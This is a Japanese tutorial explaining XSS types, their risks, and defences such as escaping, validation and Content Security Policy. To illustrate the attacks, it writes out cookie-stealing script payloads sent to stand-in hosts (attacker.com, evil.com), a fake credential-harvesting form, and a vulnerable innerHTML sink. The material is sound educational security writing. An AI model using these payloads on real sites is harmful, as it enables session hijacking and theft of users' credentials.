はじめに

Webアプリケーションを開発する際、機能の正しさだけでなく、セキュリティの堅牢さも同じくらい重要です。中でも「XSS(クロスサイトスクリプティング)」は、Webサービスで非常に多く見られる脆弱性の一つです。

XSSは、ユーザーの信頼を悪用して、Webページ上で不正なスクリプトを実行させる攻撃です。一見すると単なるいたずらのように思えるかもしれませんが、実際には個人情報の漏洩やアカウントの乗っ取りなど、深刻な被害に直結します。

この記事では、XSSの発生メカニズムから、種類ごとの具体例、被害の内容、そして現実的な防止策までを順を追って解説していきます。

XSSの基本理解

クロスサイトスクリプティングの仕組み

XSSとは、Webページ上に埋め込まれたスクリプトが、本来意図されていないタイミングで実行されてしまうことにより発生します。

たとえば、ある掲示板サイトで、投稿内容がそのままHTMLに埋め込まれる仕様だったとします。そこに以下のような投稿が行われたらどうなるでしょうか。

1
<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>

この投稿を閲覧したユーザーのブラウザでは、スクリプトが実行され、自分のクッキー情報が攻撃者のサーバーに送信されてしまいます。このように、一見普通のページに見えても、裏では不正な操作が行われているのがXSSの怖さです。

なぜ発生するのか

XSSは、開発者が「ユーザーからの入力をそのままWebページに出力してしまう」ことが原因で発生します。

Webアプリケーションは、検索結果、プロフィール情報、コメント欄など、さまざまな場面でユーザー入力を画面に表示します。このとき、入力内容に含まれるスクリプトタグなどを正しく無害化せずに出力してしまうと、ブラウザはそれをスクリプトとして解釈してしまうのです。

XSSの3つの種類

XSS(クロスサイトスクリプティング)には、いくつかの発生パターンがあります。特に代表的なものとして、「リフレクティッド(反射型)」「ストアド(保存型)」「DOMベース」の3種類が知られています。

それぞれがどのような場面で発生し、どのような特徴を持っているのかを順番に確認していきましょう。

リフレクティッドXSS(反射型)

リフレクティッドXSSは、ユーザーの入力がWebサーバーを経由して、即座にレスポンスの中に反映されることで発生するタイプです。ユーザーが入力した値が、ページ内の表示やスクリプトとしてそのまま返されることで、スクリプトが実行されてしまうケースです。

発生の例

例えば、検索フォームのあるWebページを考えてみます。検索結果のページでは、ユーザーが入力した検索語が画面に表示されます。

https://example.com/search?q=JavaScript

この「q」というパラメータの値が、ページ内に「JavaScript の検索結果」といった形で出力されているとします。

ここで、仮にその出力処理に適切なサニタイズ(無害化)が施されていない場合、攻撃者は次のような悪意のあるリンクを作ることができます。

https://example.com/search?q=<script>fetch("https://evil.com?cookie="+document.cookie)</script>

このリンクをメールやSNSで拡散し、誰かがクリックすると、その人のブラウザでスクリプトが実行されてしまう可能性があります。

特徴

リフレクティッドXSSは、一時的な攻撃であることが多く、入力内容がデータベースなどに保存されるわけではありません。URLを通じて攻撃が行われるため、拡散しやすく、特にフィッシングなどの手口と組み合わせて用いられることがあります。

ストアドXSS(保存型)

ストアドXSSは、悪意のあるスクリプトがユーザーの入力としてサーバーに保存され、他のユーザーがそのデータを閲覧したときにスクリプトが実行されるタイプです。掲示板やコメント機能、プロフィール欄など、入力した情報が後に表示されるような機能で発生します。

発生の例

たとえば、コメント欄があるWebサイトで、あるユーザーが次のような内容を投稿したとします。

1
<script>location.href="https://attacker.com/steal?cookie="+document.cookie</script>

この投稿がサーバーに保存され、後から別のユーザーがそのページを閲覧すると、スクリプトが実行され、ユーザーの情報が攻撃者に送信されてしまう、といった状況が発生します。

特徴

ストアドXSSは、攻撃コードが一度保存されてしまえば、以後は特定のリンクを踏ませる必要もなく、閲覧するだけで被害が生じます。そのため、不特定多数のユーザーに影響を与える危険性があり、XSSの中でも特に被害が大きくなる傾向があります。

DOMベースXSS

DOMベースXSSは、Webブラウザ上で動作するJavaScriptの処理によって発生するXSSです。サーバー側ではなく、クライアント側のコードによってユーザー入力がそのままHTMLに反映されるときに、スクリプトが実行されてしまいます。

発生の例

次のようなコードがWebページ上に存在していたとします。

1
2
const input = location.hash.substring(1);
document.getElementById("message").innerHTML = input;

このとき、ユーザーが次のようなURLにアクセスすると、

https://example.com/#<script>alert("XSS")</script>

innerHTMLを通じてスクリプトがDOMに挿入され、実行されてしまいます。

特徴

DOMベースXSSは、サーバーを一切介さず、JavaScriptの処理だけで発生するという点が特徴です。シングルページアプリケーション(SPA)など、フロントエンドのJavaScriptが多用される現代のWebアプリケーションにおいては、特に注意が必要です。

XSSがもたらす具体的なリスク

XSSによってスクリプトが実行されると、ユーザーの意図とは無関係にWebページ上で様々な操作が行われてしまいます。この章では、実際にXSSが引き起こす可能性のある被害について、具体的な例を交えながら説明します。

クッキーの窃取とセッションハイジャック

XSSによる攻撃の中でも特に多いのが、クッキーを不正に取得されるケースです。

多くのWebアプリケーションでは、ユーザーのログイン状態を保持するために、セッションIDをクッキーに保存しています。このクッキーが盗まれると、攻撃者は本来そのユーザーだけが利用できるページに、第三者としてアクセスできてしまいます。

たとえば、ショッピングサイトにログイン中の状態で悪意のあるスクリプトが実行された場合、攻撃者は以下のようなコードでクッキーの情報を取得し、自身のサーバーへ送信することができます。

1
fetch("https://attacker.com/steal?cookie=" + document.cookie);

このようにして得たセッション情報を使えば、攻撃者は本人になりすまして注文履歴の閲覧や個人情報の変更といった操作を行うことが可能になります。

偽のフォームを表示して情報を詐取(フィッシング)

XSSでは、ページの見た目を変更したり、ダイアログやフォームを挿入したりすることもできます。これを利用して、ユーザーに偽の入力フォームを表示させ、ログイン情報やクレジットカード番号などを入力させる手口が存在します。

たとえば、攻撃者が以下のようなフォームをスクリプトでページ内に埋め込むとします。

1
2
3
4
5
<form action="https://attacker.com/collect" method="POST">
  <input type="text" name="user" placeholder="ユーザー名">
  <input type="password" name="pass" placeholder="パスワード">
  <button type="submit">ログイン</button>
</form>

ページのデザインを本物そっくりに作ることで、ユーザーは違和感なく情報を入力してしまい、気づかぬうちに攻撃者の元へ情報を送信してしまう可能性があります。

このようなフィッシング攻撃は、Webページが一見正しく表示されているように見えるため、非常に気づきにくいという特徴があります。

管理者アカウントの乗っ取りとシステムの改ざん

さらに深刻なのが、管理者権限を持つユーザーがXSSの影響を受けた場合です。

管理者画面には、ユーザー管理、投稿の承認、システム設定など、アプリケーション全体に関わる重要な機能が集約されています。もしこのような画面にスクリプトが仕込まれ、それを管理者が閲覧してしまうと、次のような被害が発生するおそれがあります。

  • 管理者になりすまされて、ユーザー情報が改ざんされる
  • 投稿内容や商品情報が削除・編集される
  • サイト全体が攻撃者によって操作され、別サイトにリダイレクトされる

このようなケースでは、単なる1ユーザーへの攻撃では済まず、Webサービス全体の信頼性が損なわれる結果となります。

過去の事例とその深刻さ

実際の攻撃事例として、SNSのプロフィール欄に仕込まれたXSSにより、閲覧したユーザーのアカウントで自動的に投稿が行われたり、フィッシングサイトに誘導されたりした事件も報告されています。ある金融系Webアプリケーションでは、XSSにより送金操作を不正に行われたという事例もあります。

このように、XSSは「ただアラートが出るだけ」の問題ではありません。適切に対策しなければ、個人情報の漏洩、サービスの乗っ取り、社会的信用の失墜といった重大な被害につながる可能性があります。

XSSを防ぐための基本対策

XSSは、ユーザーの入力が不適切なかたちでWebページに反映されることによって発生します。そのため、開発者としては「どのように入力を扱い、どのように出力するか」に細心の注意を払う必要があります。

ここでは、XSSを防ぐための基本的な対策として、入力のバリデーションと出力時のエスケープ処理について、それぞれ具体的に見ていきます。

入力値のバリデーション

入力値のバリデーションとは、ユーザーから受け取ったデータが期待された形式や値であるかを確認し、不正な入力を拒否する処理です。バリデーションはXSS対策の第一歩であり、意図しない文字列や構造を事前に排除することで、攻撃の余地を減らすことができます。

たとえば、名前やコメントといったテキストを入力する欄がある場合、次のような制限を設けることが考えられます。

  • 入力文字数の上限を設定する(例:50文字以内)
  • 数字や記号など、不要な文字の入力を許可しない
  • 特殊文字(<、>、"、’ など)を除外する

このようなバリデーションを行うことで、スクリプトのような構造を含む入力を早い段階で排除することが可能になります。

ただし、バリデーションは万能ではありません。たとえ入力を制限したとしても、出力時に適切な処理がなされていなければ、XSSは防げない場合があります。バリデーションは「補助的な防御策」であると認識し、後述する出力処理と併用することが重要です。

出力時のエスケープ処理

ユーザーの入力をWebページに表示する際には、その内容がHTMLとして解釈されないように、「エスケープ処理」を行う必要があります。これは、HTMLにおいて特別な意味を持つ文字(<、>、&、"、‘など)を、無害な文字列に置き換える処理です。

たとえば、次のようなテンプレートがあったとします。

1
<p>こんにちは、<%= user.name %>さん</p>

このとき、user.name<script>alert('XSS')</script> という値が含まれていた場合、適切なエスケープ処理がなされていなければ、ブラウザはこの文字列をHTMLの一部として解釈し、スクリプトが実行されてしまいます。

一方、多くのテンプレートエンジンでは、特定の記法を用いることで自動的にエスケープ処理を行ってくれます。

<p>こんにちは、<%- user.name %>さん</p>  // エスケープなし(危険)
<p>こんにちは、<%= user.name %>さん</p>  // エスケープあり(安全)

出力される文脈に応じて、適切な処理を選択することが大切です。以下のようなケースでは、それぞれ異なる対応が求められます。

  • HTMLの本文に出力する:HTMLエスケープ
  • 属性値に出力する:属性エスケープ
  • JavaScriptコード中に出力する:JavaScriptエスケープ
  • URLに出力する:URLエンコード

これらを適切に使い分けなければ、思わぬ脆弱性を埋め込んでしまうことになります。とりわけ、innerHTMLdocument.write といったAPIは、スクリプトの挿入を容易にしてしまうため、原則として使用を避けるべきです。

XSS対策の強化:Content Security Policy(CSP)

前章までに紹介した入力値のバリデーションや出力時のエスケープ処理は、XSSを防ぐための基本的かつ重要な対策です。しかし、開発者のミスや予期しない実装変更などにより、これらの処理が完全に機能しない可能性も否定できません。

そこで、より強固なセキュリティ対策として有効なのが「Content Security Policy(CSP)」です。CSPは、Webブラウザに対して「このページでは、どのようなスクリプトやリソースを、どこから読み込んでよいか」をポリシーとして宣言する仕組みです。

CSPはXSSを事後的にブロックする「最後の防波堤」としての役割を果たします。

CSPの基本的な仕組み

CSP(Content Security Policy)は、Webブラウザに対して「このページでは、どのようなリソースを、どこから読み込んでよいか」という制約を明示的に伝えることで、不要または危険なコードの実行を防ぐ仕組みです。

その基本的な考え方は、「デフォルトですべての外部リソースを拒否し、信頼された出所だけを明示的に許可する」というものです。いわば、ホワイトリスト方式のアクセス制御といえます。

CSPは主に以下のような方法で定義されます。

  • HTTPレスポンスヘッダー
    サーバーがHTMLを返すときに、CSPをヘッダーで指定します。

    1
    
    Content-Security-Policy: script-src 'self' https://cdn.example.com;
    
  • HTMLの<meta>タグ(簡易的な利用時)

    1
    
    <meta http-equiv="Content-Security-Policy" content="default-src 'self';">
    

主なディレクティブの解説

CSPの設定は「ディレクティブ」と呼ばれるパラメータ群によって構成され、それぞれが特定のリソース種別に対応しています。以下に代表的なものを紹介します。

ディレクティブ名 内容
default-src 明示されていないリソースの読み込み元を定義します。ベースとなる設定です。
script-src JavaScriptの読み込み元を制御します。XSS対策では最重要のディレクティブです。
style-src CSSの読み込み元を制限します。
img-src 画像の読み込み元を制御します。
connect-src fetch() や WebSocket の通信先を制限します。
font-src フォントファイルの読み込み元を制御します。
object-src <object>, <embed>, <applet> などの読み込み元を制限します。
frame-src <iframe> の埋め込み先を制限します。

これらのディレクティブに対して、読み込みを許可するドメインや値('self', 'none', 'unsafe-inline' など)を指定します。

例:CSPによる段階的な制限
1
2
3
4
5
Content-Security-Policy:
  default-src 'none';
  script-src 'self' https://cdn.example.com;
  style-src 'self';
  img-src 'self' data:;

この設定では:

  • 原則として、外部リソースの読み込みをすべて拒否(default-src 'none'
  • スクリプトは自サイトとCDNからのみ許可
  • CSSは自サイトのみ許可
  • 画像は自サイトと data: URI のみ許可

このようにCSPは、リソースごとに粒度の細かい制御が可能であり、適切に設計することで非常に強力な防御壁となります。

XSS対策としての効果

CSPがXSS対策として有効である理由は、次のような点にあります。

  • スクリプトの読み込み元を制限できる
  • HTML内に直接書かれたインラインスクリプトの実行を禁止できる('unsafe-inline' を許可しない場合)
  • eval() 関数の使用を防げる('unsafe-eval' を許可しない場合)
  • 違反があった際のレポートを収集できる(report-uri などの設定)

たとえば、次のようなCSPを設定すれば、インラインスクリプトを完全に禁止することができます。

1
Content-Security-Policy: default-src 'self'; script-src 'self';

この設定では、JavaScriptファイルを外部から読み込む場合でも、同一オリジンからの読み込みしか許可されません。また、HTML内に書かれた <script>alert(1)</script> のようなコードも実行されません。

導入の手順と注意点

CSPの導入には、既存の実装との整合性を確認する必要があります。特に、以下の点に注意が必要です。

  • 多くのWebアプリケーションでは、インラインスクリプトやonclickなどの属性ハンドラを使用している場合があります。CSPではこれらがブロックされるため、事前の洗い出しが必要です。
  • まずは「レポートモード(Content-Security-Policy-Report-Only)」を使用し、現在のWebサイトでCSP違反がどの程度発生するかを確認すると安全です。
  • レポートの送信先(report-uri または report-to)を設定しておくことで、違反状況を把握することができます。

導入例(Report-Only モード)

1
Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report-endpoint

この設定では、ポリシー違反が発生しても実行をブロックせず、レポートだけを収集します。本番環境への導入前に、テスト段階でこのモードを用いることが推奨されます。

CSPは「保険」として有効な対策

CSPは、単体でXSSを完全に防ぐものではありません。出力のエスケープ処理が不十分な場合に、被害を最小限に食い止めるための「保険的な役割」を果たすと理解するのが適切です。

また、CSPを適用することで、コードベースの見直しや、JavaScriptの整理が促されるなど、Webアプリケーションの構造を見直す良いきっかけにもなります。

まとめ

XSS(クロスサイトスクリプティング)は、Webアプリケーションにおける代表的な脆弱性の一つであり、不正なスクリプトの実行によってユーザーに深刻な被害をもたらす可能性があります。

本記事では、XSSの仕組み、主な3種類(リフレクティッド、ストアド、DOMベース)、そして実際に起こりうるリスクについて、具体例を交えながら解説してきました。

XSSは一見単純な問題に見えても、攻撃者の手口次第でサービス全体の信頼性を脅かす重大な結果につながることがあります。Web開発に携わる上で、この脅威に対する正しい理解を持ち、危険性を見過ごさない姿勢が何より重要です。